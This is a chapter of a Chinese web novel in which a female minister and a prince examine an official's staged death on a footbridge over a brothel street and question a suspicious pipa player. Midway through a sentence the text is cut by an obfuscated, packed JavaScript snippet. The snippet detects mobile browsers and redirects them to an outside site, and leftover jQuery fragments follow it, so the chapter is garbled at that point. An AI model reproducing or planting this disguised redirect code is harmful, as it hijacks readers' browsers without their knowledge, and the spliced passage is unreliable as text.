默认冷灰
24号文字
方正启体

46. 杀鸡儆猴

作者:松风答砚本书字数:K更新时间:
    孟冬辞将车帘掀开条缝看了眼马车前的尸体,这人看着年岁不大,着绯色官袍、金涂银带、腰间佩着个银鱼袋,至少六品往上。


    “殿下,”孟冬辞回头问元珵,“我认不清路,这是哪里?”


    元珵顺着车帘缝隙往外瞧了一眼,答:“金元街。”


    “可是你先前说的那条开着不少秦楼楚馆的?”


    元珵应是。


    孟冬辞闻言,撂下车帘思忖片刻,放轻声音说:“朝中大员本不该到这种地方,更何况明目张胆穿着官服,我看这人面上透着惊恐,怕不是失足跌落,这事有些怪,莲姨才在刑场露过面,便不要下车了。”


    待与元珵一道下了车,孟冬辞才看清这人究竟是从何处跌下来的。


    此处应是主街中的繁华地段儿,路不窄,能容两三驾马车并行。


    他们马车停下的位置,两旁的小楼皆是通体涂了朱漆,两侧各悬着匾额,一处名‘澄怀’,一处名‘藏珍’。


    车夫说的桥,不过是横在这两座朱楼中间,连通这两处用的、一条勉强能容两人并肩的窄梁。


    晓得元珵一向忌讳这种诡异的死状,孟冬辞便蹲下身,伸手在那尚有余温的人身上探过,最后在他腰带里摸出一块儿腰牌。


    大理寺的腰牌。


    绯袍银鱼袋,这人身份已明。


    “殿下,”孟冬辞压低声音将元珵叫到身边,示意他看周围,“好端端的一个人摔死在了人来人往的大街上,你不觉得周围百姓的反应,有些不寻常么?”


    元珵先前的注意力皆搁在地上那人诡异的死状上,闻言四下看过,果然如孟冬辞所说,这么大的响动,非但没人上前围观,就连这楼里的人,也没一个出来看热闹。


    因着今日刑场这一台戏,元珵特地换了身素净的衣裳,孟冬辞将他上下打量个遍,目光落在他腰间那雕着龙纹的玉带扣上,问:“这是皇帝赏的?”


    元珵摇头:“记不清了,大抵是。”


    “不是他给的,哪个皇子敢明目张胆用龙纹,”孟冬辞抬眼往那窄桥上看了一眼,“既有能证明身份的东西,这局就不算险,上去瞧瞧罢。”


    元珵一怔,问:“娘子是觉得,这人是故意死在咱们眼前的?自裁么?我瞧着不大像。”


    “这人是头朝下跌下来的,折了颈子,不然这么个矮桥,摔不死一个身量这么高的男子,”孟冬辞将帷帽拨开条缝,又瞧了地上的尸首一眼,站起身抬步往悬着‘澄怀’匾额的朱楼里走,说,“他右脚上系着一根女子常用式样的襻膊,应是先前被人吊在这窄桥上,专等你的马车过来的。”


    元珵本跟在孟冬辞身后,闻言伸手扯住她:“既如此,咱们这么贸贸然入内,不会遇着埋伏么?”


    “放心,在你想起绢册上的炼金术前,元戎会保你活着,”孟冬辞伸手撩开绛色纱罗叠出的帘子,朝元珵做了个请的手势,“这人明显是死给你看的,不能叫他白死。”


    一进那楼内,孟冬辞便蹙起了眉,这里头不知燃的什么香,乍一闻,还以为什么果子搁久了烂出的味道。


    “我瞧二位是头一回来此,”一个着杏黄小袖对襟旋袄的中年女子抱着一把略陈旧的琵琶迎上来,却直奔孟冬辞,“对不住,咱们澄怀楼,不做女子的生意。”


    孟冬辞目光落在那女子扶着琵琶的手上,并未接她的话。


    元珵见孟冬辞不言语,不知她作何打算,便往她身侧挪了一步,才要开口,便被那女子打断。


    “这位小郎君生得真好看,”那女子笑呵呵地朝元珵开口,“就是瞧着脸生,不知是哪位大人家的公子?”


    “你方才走过来时,已借着琵琶的遮挡瞧过他腰带上的玉扣,不该有此一问,”孟冬辞接过那女子的话,伸手拨过她手里琵琶的琴弦,轻笑道,“你这双手生得出色,该是第一次摸琵琶罢,但想做出精通的模样,合该将那根少了的弦补上才是。”


    听孟冬辞如此说,那女子左手上移,摸上弦轴的位置,指尖才动,便被孟冬辞扣住了手腕。


    “当着人面拿出来,可就不叫暗器了,”孟冬辞指尖上移,在那女子的指尖上虚握一下,收回手略压低了声音,“对皇子动手,无论成不成,都是牵连亲眷的烂差事,你瞧着不像是会为了银钱折腰的人,若有苦衷,我或许能帮你。”


    那女子神色微变,弦轴被她捏的咯吱作响,却仍未放手。


    孟冬辞忽地转向元珵问道:“这背后的人,觉得当着殿下的面摔死个人,便能吓坏了你,殿下觉不觉得这想法有些蠢?”


    这句问的没头没尾,那女子一怔,几乎是本能地跟着轻点了一下头。


    站在一旁的元珵很是应景地笑了一声:“实在是有些以己度人了。”


    孟冬辞见那女子分了神,便状似漫不经心地轻声一问:“摔死的人身上挂着大理寺的腰牌,是哪个少卿?”


    那女子明显一僵,紧抿着唇,并未开口。


    孟冬辞侧身指了指角落里的楼梯,问:“此处自二楼通去窄桥,二楼上,可还有其他人?”


    那女子迟疑一瞬,几不可见地摇摇头。


    待上了二楼,踏上那窄桥,元珵方问:“早前郑惠闯我院子那回,你就是这样东一句西一句地问话,这里头有什么讲究么?”


    孟冬辞在窄桥正中蹲下身,答元珵道:“先把错处摆出来说得严重些,叫这人心里自觉落了下风,跟着说两句暖心的软话,叫这人放下敌意,然后问句她不能答或是不想答的,最后的问题,只要于她来说够无关紧要,她通常会说实话。”


    元珵觉得这场面耳熟,垂眼思忖片刻,这才想起先前孟冬辞先前问他平娄出兵大煜一事的细枝末节时,好像也是这样一套。


    亏他那时还与她说了许多的真心话,真是错付了。


    “孟相精于人心算计,可也要记得,多思伤神。”元珵有意把话说得阴阳怪气。


    “朝堂上惯用的伎俩罢了,不确定这上头没有埋伏,凭你我两个,贸然上来找死么?”孟冬辞心思都搁在那窄桥的异常上,顺口接了话后才觉出不对,抬眼便见元珵受了天大委屈似的、正满脸幽怨地盯着她,这才反应过来哪里不对,便自帷帽的缝隙里睨


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962361|177700||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了他一眼,淡淡道,“若殿下把跟我置气的心思分出一二分到正事上,我兴许能少劳些心神。”


    元珵:“哦。”


    孟冬辞懒得与他计较,招手叫他看桥板上的一小堆烛泪。


    “白日里,在此处点根红烛,”元珵顺着孟冬辞的手瞧了一眼,漫不经心地开口,“取暖么?”


    若不是身在洪辽身不由己,孟冬辞很想将他从桥上推下去与下头那人凑成一双。


    见孟冬辞半晌不肯搭理他,元珵终于发现了不对,他蹲下身,指着桥栏上一截烧得几乎看不出本来模样的锦带:“这……是那人脚上的襻膊?”


    “他被一根襻膊吊在此处,那襻膊下头立着一根红烛,红烛往下烧到底,襻膊断了,他便会头朝下跌下去。”孟冬辞自桥上往下看,目光再次落在那人脸上,若有所思道:“车夫只看见他跌下来,并没说桥上有人逃走,说明想杀他的人将他悬在此处便走了,可若他是被人强行悬在此处的,一个手脚健全的男子,难道没有力气在那人走后自个儿攀着桥栏爬上来么?”


    元珵终于回神开始跟着孟冬辞思量,他也往下看了一眼,问孟冬辞:“娘子你说,有没有可能,他在被吊在此处的时候,不知自己要死?”


    “他的面色惊惧,该是在襻膊断了的那刻才发觉不对,也就是说,他并不知这吊着他命的襻膊下头燃着烛火。”孟冬辞小心翼翼解下只剩没个手掌长的襻膊,用自己随身的帕子包好,又问元珵:“咱们从刑场回别院,这金元街可是必经之路么?”


    元珵答:“若是骑马,还有一条窄巷子可走,可若是乘马车,必经此处。”


    孟冬辞点头:“那便不是巧合,是有人算好了时辰,故意叫这人摔死在咱们跟前的。”


    见元珵四下打量,孟冬辞又压低声音补上一句:“而且殿下莫要忘了,咱们还绕路去接了一趟莲姨,这背后的人,应是一直跟着咱们的马车。”


    元珵这回倒是立时明白了孟冬辞的意思,手撑在桥栏边往下瞧了一眼,只见方才那女子正抱着琵琶站在门口,身边还站着几个瑟瑟缩缩的姑娘,便朝她们喊了一声:“你们找几个人,跑趟腿,以我的名义去大理寺报官,说有人守在我回别院的必经之路上意欲行刺,叫他们半个时辰之内过来给我个说法。”


    那几个姑娘都没动,反而是那抱着琵琶的女子进了屋内又出来,少顷,三个穿着一样衣裳的龟奴与她一道出来,一溜烟跑了。


    又等了片刻,见周边有百姓聚起,孟冬辞才与元珵一道下了窄桥,问他:“前儿我叫你问郑弘致,大理寺受谁摆布,你可问了?”


    “问了,”元珵答,“郑弘致说现任大理寺卿是前两年皇帝钦点的。”


    孟冬辞闻言便笑了:“那就难怪这背后的人要拿殿下杀鸡儆猴了。”


    元珵哼道:“娘子真是借喻的好手。”


    “我与殿下打个赌,”孟冬辞没理元珵这一句,而是伸手问他要了块儿帕子,俯身展开遮住了地上那人的脸,“我猜这人,恰巧就是大理寺掌管右治狱的少卿,正负责余下没查完的贪腐案。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)